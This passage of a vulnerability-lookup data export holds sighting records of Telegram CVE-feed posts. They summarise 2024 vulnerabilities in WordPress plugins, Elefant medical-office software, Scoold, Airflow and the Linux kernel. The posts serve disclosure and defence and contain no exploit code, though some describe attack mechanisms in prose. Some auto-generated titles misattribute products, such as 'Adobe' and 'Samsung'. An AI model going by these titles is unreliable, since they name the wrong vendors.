\nDescription : Deserialization of Untrusted Data vulnerability in Daniel Schmitzer DS.DownloadList allows Object Injection.This issue affects DS.DownloadList: from n/a through 1.3. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:47.000000Z"}, {"uuid": "7e9a5f79-f357-46c3-bcb0-33ba0e01ee5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50506", "type": "seen", "source": "https://t.me/cvedetector/9409", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50506 - Azexo Marketing Automation Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50506 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Incorrect Privilege Assignment vulnerability in Azexo Marketing Automation by AZEXO allows Privilege Escalation.This issue affects Marketing Automation by AZEXO: from n/a through 1.27.80. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:46.000000Z"}, {"uuid": "4f1cf97f-8415-41f8-8178-c0d5a508f471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50466", "type": "seen", "source": "https://t.me/cvedetector/9349", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50466 - DarkMySite Advanced Dark Mode Plugin for WordPress CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-50466 \nPublished : Oct. 29, 2024, 5:15 p.m. | 39\u00a0minutes ago \nDescription : Cross-Site Request Forgery (CSRF) vulnerability in DarkMySite DarkMySite \u2013 Advanced Dark Mode Plugin for WordPress darkmysite allows Cross Site Request Forgery.This issue affects DarkMySite \u2013 Advanced Dark Mode Plugin for WordPress: from n/a through 1.2.8. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T18:57:42.000000Z"}, {"uuid": "13e7d0ec-844e-4bf2-a4bb-6acdc7ce7d94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50459", "type": "seen", "source": "https://t.me/cvedetector/9348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50459 - \"WordPress Stripe Donation and Payment Plugin Missing Authorization Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50459 \nPublished : Oct. 29, 2024, 5:15 p.m. | 39\u00a0minutes ago \nDescription : Missing Authorization vulnerability in HM Plugin WordPress Stripe Donation and Payment Plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordPress Stripe Donation and Payment Plugin: from n/a through 3.2.3. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T18:57:41.000000Z"}, {"uuid": "2d6ec0d6-8f50-4f14-894a-463891427145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50348", "type": "seen", "source": "https://t.me/cvedetector/9383", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50348 - InstantCMS Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50348 \nPublished : Oct. 29, 2024, 11:15 p.m. | 23\u00a0minutes ago \nDescription : InstantCMS is a free and open source content management system. In photo upload function in the photo album page there is no input validation taking place. Due to this attackers are able to inject the XSS (Cross Site Scripting) payload and execute. This vulnerability is fixed in 2.16.3. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T00:49:10.000000Z"}, {"uuid": "bb14f558-74f5-4125-a440-b8fabd07c2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50414", "type": "seen", "source": "https://t.me/cvedetector/9266", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50414 - VirusTran Button contact VR Stored Cross-site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50414 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in VirusTran Button contact VR allows Stored XSS.This issue affects Button contact VR: from n/a through 4.7.9.1. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:14.000000Z"}, {"uuid": "809f5d49-11d4-43ec-aac9-744bc054d7c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50418", "type": "seen", "source": "https://t.me/cvedetector/9265", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50418 - \"Adobe Time Slot XSS Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-50418 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Time Slot Booking Time Slot allows Stored XSS.This issue affects Time Slot: from n/a through 1.3.6. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:13.000000Z"}, {"uuid": "566bba29-d80a-4b0a-bd9e-7a871f9651b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50415", "type": "seen", "source": "https://t.me/cvedetector/9264", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50415 - Pagup Ads.Txt & App-ads.Txt Manager for WordPress Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50415 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Pagup Ads.Txt & App-ads.Txt Manager for WordPress allows Stored XSS.This issue affects Ads.Txt & App-ads.Txt Manager for WordPress: from n/a through 1.1.7.1. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:12.000000Z"}, {"uuid": "6ab9e80f-1a52-4ec5-ac76-f4f648da9f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50473", "type": "seen", "source": "https://t.me/cvedetector/9263", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50473 - Ajar Productions Ajar in5 Embed Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50473 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Ajar Productions Ajar in5 Embed allows Upload a Web Shell to a Web Server.This issue affects Ajar in5 Embed: from n/a through 3.1.3. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:08.000000Z"}, {"uuid": "3108bf94-0aac-4b7d-b482-ad23e6a8d6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50455", "type": "seen", "source": "https://t.me/cvedetector/9357", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50455 - The SEO Guys SEOPress Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50455 \nPublished : Oct. 29, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : Missing Authorization vulnerability in The SEO Guys at SEOPress SEOPress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SEOPress: from n/a through 8.1.1. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T23:08:25.000000Z"}, {"uuid": "39717268-af6f-462d-9c62-97514aa9f7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50592", "type": "seen", "source": "https://t.me/cvedetector/10198", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50592 - Elefant Update Service Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50592 \nPublished : Nov. 8, 2024, 1:15 p.m. | 20\u00a0minutes ago \nDescription : An attacker with local access the to medical office computer can   \nescalate his Windows user privileges to \"NT AUTHORITY\\SYSTEM\" by   \nexploiting a race condition in the Elefant Update Service during the   \nrepair or update process.\u00a0When using the repair function, the service queries the server for a   \nlist of files and their hashes. In addition, instructions to execute   \nbinaries to finalize the repair process are included.\u00a0The executables are executed as \"NT AUTHORITY\\SYSTEM\" after they are   \ncopied over to the user writable installation folder (C:\\Elefant1). This  \n means that a user can overwrite either \"PostESUUpdate.exe\" or   \n\"Update_OpenJava.exe\" in the time frame after the copy and before the   \nexecution of the final repair step. The overwritten executable is then executed as \"NT AUTHORITY\\SYSTEM\". \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T14:40:50.000000Z"}, {"uuid": "1d37ab44-1ea3-4086-acfe-733f7378dbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50589", "type": "seen", "source": "https://t.me/cvedetector/10196", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50589 - \"Midland Medical FHIR API Information Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-50589 \nPublished : Nov. 8, 2024, 12:15 p.m. | 29\u00a0minutes ago \nDescription : An unauthenticated attacker with access to the local network of the   \nmedical office can query an unprotected Fast Healthcare Interoperability  \n Resources (FHIR) API to get access to sensitive electronic health   \nrecords (EHR). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T13:50:42.000000Z"}, {"uuid": "002ba925-939b-4905-9b32-5e9cff147928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50334", "type": "seen", "source": "https://t.me/cvedetector/9337", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50334 - Scoold; Semicolon Path Injection and File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50334 \nPublished : Oct. 29, 2024, 3:15 p.m. | 43\u00a0minutes ago \nDescription : Scoold is a Q&A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type: application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T17:17:22.000000Z"}, {"uuid": "25ac4ed2-396d-49f1-b467-09d45e77568f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50410", "type": "seen", "source": "https://t.me/cvedetector/9282", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50410 - Kiboko Labs Namaste! LMS Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50410 \nPublished : Oct. 29, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kiboko Labs Namaste! LMS allows Stored XSS.This issue affects Namaste! LMS: from n/a through 2.6.4. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T13:05:43.000000Z"}, {"uuid": "129bb4f0-1917-4a2f-9a07-7b836b97b9ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50409", "type": "seen", "source": "https://t.me/cvedetector/9281", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50409 - Kiboko Labs Namaste! LMS Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50409 \nPublished : Oct. 29, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kiboko Labs Namaste! LMS allows Stored XSS.This issue affects Namaste! LMS: from n/a through 2.6.2. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T13:05:42.000000Z"}, {"uuid": "6e4a82c4-6891-4b64-b454-9255f9ba930a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50407", "type": "seen", "source": "https://t.me/cvedetector/9280", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50407 - Kiboko Labs Namaste! LMS Reflected Cross-site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50407 \nPublished : Oct. 29, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kiboko Labs Namaste! LMS allows Reflected XSS.This issue affects Namaste! LMS: from n/a through 2.6.2. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T13:05:41.000000Z"}, {"uuid": "9bb73975-94d6-42d0-98b9-f12747255ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/cvedetector/9275", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50550 - LiteSpeed Technologies LiteSpeed Cache Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50550 \nPublished : Oct. 29, 2024, 10:15 a.m. | 39\u00a0minutes ago \nDescription : Incorrect Privilege Assignment vulnerability in LiteSpeed Technologies LiteSpeed Cache allows Privilege Escalation.This issue affects LiteSpeed Cache: from n/a through 6.5.1. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T12:15:36.000000Z"}, {"uuid": "66d968b9-ce01-497e-8bfa-d42c56f66a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50413", "type": "seen", "source": "https://t.me/cvedetector/9270", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50413 - Codection Web Page Generation Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50413 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in codection Import and export users and customers allows Stored XSS.This issue affects Import and export users and customers: from n/a through 1.27.5. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:20.000000Z"}, {"uuid": "a798453e-569c-45b8-9742-dae21c812c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50412", "type": "seen", "source": "https://t.me/cvedetector/9269", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50412 - Jules Colle Conditional Fields for Contact Form 7 Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50412 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Jules Colle Conditional Fields for Contact Form 7 allows Stored XSS.This issue affects Conditional Fields for Contact Form 7: from n/a through 2.4.15. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:19.000000Z"}, {"uuid": "92869899-7026-4c27-a02b-ab5e97f44667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50411", "type": "seen", "source": "https://t.me/cvedetector/9268", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50411 - Kevon Adonis WP Abstracts Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50411 \nPublished : Oct. 29, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kevon Adonis WP Abstracts allows Stored XSS.This issue affects WP Abstracts: from n/a through 2.7.1. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T10:35:15.000000Z"}, {"uuid": "ad1e8127-4511-474d-ad98-676295f6c414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50966", "type": "seen", "source": "https://t.me/cvedetector/10200", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50966 - Dingfanzu CMS CSRF Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-50966 \nPublished : Nov. 8, 2024, 4:15 p.m. | 40\u00a0minutes ago \nDescription : dingfanzu CMS V1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/doAdminAction.php?act=addAdmin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T18:02:40.000000Z"}, {"uuid": "720d3a42-6704-4294-b521-12e4ffa5ac71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50378", "type": "seen", "source": "https://t.me/cvedetector/10199", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50378 - Airflow Unencrypted Audit Log Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-50378 \nPublished : Nov. 8, 2024, 3:15 p.m. | 39\u00a0minutes ago \nDescription : Airflow versions before 2.10.3 have a vulnerability that allows authenticated users with audit log access to see sensitive values in audit logs which they should not see.\u00a0When sensitive variables were set via airflow CLI, values of those variables appeared in the audit log and were stored unencrypted in the Airflow database. While this risk is limited to users with audit log access, it is recommended to upgrade to Airflow 2.10.3 or a later version, which addresses this issue. Users who previously used the CLI to set secret variables should manually delete entries with those variables from the log table. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T17:12:24.000000Z"}, {"uuid": "e7262eec-cb04-49e9-a808-4128b54d7761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50158", "type": "seen", "source": "https://t.me/cvedetector/10067", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50158 - \"Intel RDMA Network Interface bnxt_re Out-of-Bounds Write Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50158 \nPublished : Nov. 7, 2024, 10:15 a.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/bnxt_re: Fix out of bound check  \n  \nDriver exports pacing stats only on GenP5 and P7 adapters. But while  \nparsing the pacing stats, driver has a check for \"rdev->dbr_pacing\".  This  \ncaused a trace when KASAN is enabled.  \n  \nBUG: KASAN: slab-out-of-bounds in bnxt_re_get_hw_stats+0x2b6a/0x2e00 [bnxt_re]  \nWrite of size 8 at addr ffff8885942a6340 by task modprobe/4809 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T11:54:23.000000Z"}, {"uuid": "9877c65b-732e-43b9-8999-3f26bd23e5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50591", "type": "seen", "source": "https://t.me/cvedetector/10194", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50591 - Elefant Software Updater Windows Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50591 \nPublished : Nov. 8, 2024, 12:15 p.m. | 29\u00a0minutes ago \nDescription : An attacker with local access the to medical office computer can   \nescalate his Windows user privileges to \"NT AUTHORITY\\SYSTEM\" by   \nexploiting a command injection vulnerability in the Elefant Update   \nService. The command injection can be exploited by communicating with   \nthe Elefant Update Service which is running as \"SYSTEM\" via Windows   \nNamed Pipes.The Elefant Software Updater (ESU) consists of two components. An ESU  \n service which runs as \"NT AUTHORITY\\SYSTEM\" and an ESU tray client   \nwhich communicates with the service to update or repair the installation  \n and is running with user permissions. The communication is implemented   \nusing named pipes. A crafted message of type   \n\"MessageType.SupportServiceInfos\" can be sent to the local ESU service   \nto inject commands, which are then executed as \"NT AUTHORITY\\SYSTEM\". \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T13:50:40.000000Z"}, {"uuid": "f0f926ff-ec65-4d90-8f48-96b1c8315771", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50593", "type": "seen", "source": "https://t.me/cvedetector/10193", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50593 - Elefant Service Hard-Coded Password Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-50593 \nPublished : Nov. 8, 2024, 12:15 p.m. | 29\u00a0minutes ago \nDescription : An attacker with local access to the medical office computer can   \naccess restricted functions of the Elefant Service tool by using a   \nhard-coded \"Hotline\" password in the Elefant service binary, which is shipped with the software. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T13:50:39.000000Z"}, {"uuid": "064f2bb8-a0ef-4eb1-964f-f14d23a1a4aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50808", "type": "seen", "source": "https://t.me/cvedetector/10222", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50808 - SeaCms Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50808 \nPublished : Nov. 8, 2024, 9:15 p.m. | 38\u00a0minutes ago \nDescription : SeaCms 13.1 is vulnerable to code injection in the notification module of the member message notification module in the backend user module, due to unsafe handling of the \"notify\" variable in admin_notify.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T23:03:42.000000Z"}, {"uuid": "bfaa7e2d-3753-404e-a40b-2902d6faadc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50809", "type": "seen", "source": "https://t.me/cvedetector/10223", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50809 - Samsung Digital Certification Markup System (SDCMS) PHP Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50809 \nPublished : Nov. 8, 2024, 9:15 p.m. | 38\u00a0minutes ago \nDescription : The theme.php file in SDCMS 2.8 has a command execution vulnerability that allows for the execution of system commands \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": 